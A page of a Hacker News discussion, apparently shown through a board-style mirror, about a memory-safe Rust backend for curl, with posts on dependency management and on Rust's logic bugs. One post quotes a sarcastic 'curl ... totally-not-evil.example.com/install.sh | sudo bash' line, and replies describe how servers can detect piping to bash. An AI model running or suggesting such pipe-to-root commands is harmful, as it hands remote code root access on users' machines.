Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Memory safe ‘curl’ for a more secure internet

daniel.haxx.se

Post reply on HN
Print view View original

91–100 of 210 posts

Re: Memory safe ‘curl’ for a more secure internet

#91

Post by steveklabnik »

cle wrote: post #83
nine_k wrote: post #37

Earlier quoted context omitted.

All these packages provide important pieces of functionality, which, I suppose, mostly cannot be omitted. Either you depend on other's work for that, or you roll your own. Choose your poison.

There’s a third option if the package is so important: put it in the standard library. Technically it’s still a dependency but the standard library is maintained with a standard that is rarely matched by third party libraries, and can dramatically simplify the ecosystems’ dependency graph.

> with a standard that is rarely matched by third party libraries

I mean, you can go both ways with this. Standard libraries are significantly more difficult to work on than third party libraries, and I've seen a lot of code in standard libraries that is objectively worse than ecosystem equivalents because of it.

Re: Memory safe ‘curl’ for a more secure internet

#92

Post by a-dub »

it's an interesting choice. i would have thought that fortifying http client libraries for major languages would be more important, but maybe they've already been hardened and interactive use of curl is a vector.

makes me wonder about other interactive tooling. would be interesting if there were malicious binaries that were benign at runtime but triggered bugs in debuggers and profilers.

Re: Memory safe ‘curl’ for a more secure internet

#93

Post by kevincox »

brundolf wrote: post #72
faitswulff wrote: post #12

Earlier quoted context omitted.

And a credit to the author of cURL as well: > We’d like to thank Daniel for his willingness to be a leader on this issue. It’s not easy to make such significant changes to how wildly successful software is built, but we’ve come up with a great plan and together we’re going to make one of the most critical pieces of networking software in the world significantly more secure. We think this project can serve as a templa…

> one of the most critical pieces of networking software in the world cURL is widely available and widely used, obviously, but I'm surprised to see it described this way. I've always seen it mainly as a way for people and scripts to conveniently try out endpoints and download files. But this makes it sound like more than that; does it get widely used in an infrastructural capacity?

I'd bet there are easily 10s of thousands of "critical" scripts that rely on curl.

Re: Memory safe ‘curl’ for a more secure internet

#94

Post by dagenix »

asveikau wrote: post #78
steveklabnik wrote: post #38

Earlier quoted context omitted.

https://wiki.alopex.li/LetsBeRealAboutDependencies > These complaints are valid, but my argument is that they’re also not NEW, and they’re certainly not unique to Rust ... The only thing new about it is that programmers are exposed to more of the costs of it up-front.

> The only thing new about it is that programmers are exposed to more of the costs of it up-front. That's funny, because it's only "new" if your experiences primarily lie in newer languages and communities. There's a lot of criticism of C, but one thing it does is make dependencies pretty explicit. Some say that's good, some say that's bad, I guess it can be both at different times.

I don't believe that's accurate in general.

Let's say you open up a new C codebase: What are its dependencies? You'll have to hunt through its README (hopefully it's up to date!), other build instructions, maybe CMake, maybe some custom build system, etc.

What version of dependencies does it use? If the code has been vendored, you at least know what code its using - but where do you look for updates to that code? Do you manually go out to wherever it was copied from now and then and look for updates? If the code isn't vendored, then how was it installed? From the package manager? If so, what operating system and version was used during development? If its not from a package, its might have been downloaded and installed manually? Again, where was it downloaded from? Where was it installed? What options did it use when it was compiled?

How do you handle transitive dependencies? Probably by hand. How well documented are they?

C suffers plenty of dependency issues.

Re: Memory safe ‘curl’ for a more secure internet

#95

Post by reificator »

tialaramex wrote: post #33
cbm-vic-20 wrote: post #17

Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

Historically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a flopp…

> This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something.

In practice, perhaps. But detecting whether the file is being piped to bash (and not cat/less/grep/etc) is pretty straightforward.

https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

https://code.moparisthebest.com/moparisthebest/curl_bash

Re: Memory safe ‘curl’ for a more secure internet

#96

Post by hirako2000 »

monadic2 wrote: post #81
nicoburns wrote: post #50

Earlier quoted context omitted.

Part of this is just crates being broken up more in Rust. For example the `http` crate only contains trait (interface) definitions. They break down like so: Platform integration: libc, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys, fuchsia-zircon, fuchsia-zircon-sys, kernel32-sys, redox_syscall Primitive algorithms: itoa, memchr, unicode-xid Proc macro / pinning utilities:…

Thinking about crates this way is a revelation to me. Is there any tooling to make analyzing dependencies as you did easier?

That. And then we become responsible for yet more possible vulns in all those deps. Current number of cURL deps: 14

I wish it relied only on OpenSSL.

Re: Memory safe ‘curl’ for a more secure internet

#97

Post by reificator »

ComputerGuru wrote: post #69
afwe wrote: post #36

Earlier quoted context omitted.

The website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.

Inspect it by piping to less or vim instead?

Still distinguishable: https://news.ycombinator.com/item?id=24731271

Re: Memory safe ‘curl’ for a more secure internet

#98

Post by baby »

monadic2 wrote: post #81
nicoburns wrote: post #50

Earlier quoted context omitted.

Part of this is just crates being broken up more in Rust. For example the `http` crate only contains trait (interface) definitions. They break down like so: Platform integration: libc, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys, fuchsia-zircon, fuchsia-zircon-sys, kernel32-sys, redox_syscall Primitive algorithms: itoa, memchr, unicode-xid Proc macro / pinning utilities:…

Thinking about crates this way is a revelation to me. Is there any tooling to make analyzing dependencies as you did easier?

Https://Www.Github.com/mimoo/dephell

Re: Memory safe ‘curl’ for a more secure internet

#99

Post by quotemstr »

steveklabnik wrote: post #90
quotemstr wrote: post #88

Earlier quoted context omitted.

> The practical, day-to-day implications of this still round to zero, though. Vendors have been using similar language to downplay potential bugs for decades, usually to disastrous results. At one point, even memory safety wasn't a big deal. I'm just waiting for a software package to have a security vulnerability when an attacker is able to trigger an untested Rust unwind path and put some Rust daemon into a state it…

Again, I am only speaking of logic bugs here. You cannot introduce memory safety bugs without unsafe code. > I don't think I'm ever going to convinced that the error handling wasn't a huge and unfixable mistake. That's fine. No language can satisfy everyone.

Logic bugs can be just as disastrous as memory safety bugs. From an attacker's point of view, they're ultimately about making a program do something not intended. Downplaying logic bugs (where Rust is weak) and emphasizing memory safety (where Rust is strong) might make Rust look better, but it's not doing any favors for computing.

Re: Memory safe ‘curl’ for a more secure internet

#100

Post by weinzierl »

monadic2 wrote: post #81
nicoburns wrote: post #50

Earlier quoted context omitted.

Part of this is just crates being broken up more in Rust. For example the `http` crate only contains trait (interface) definitions. They break down like so: Platform integration: libc, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys, fuchsia-zircon, fuchsia-zircon-sys, kernel32-sys, redox_syscall Primitive algorithms: itoa, memchr, unicode-xid Proc macro / pinning utilities:…

Thinking about crates this way is a revelation to me. Is there any tooling to make analyzing dependencies as you did easier?

There is but for me cargo tree was always sufficient so far.
Post reply on HN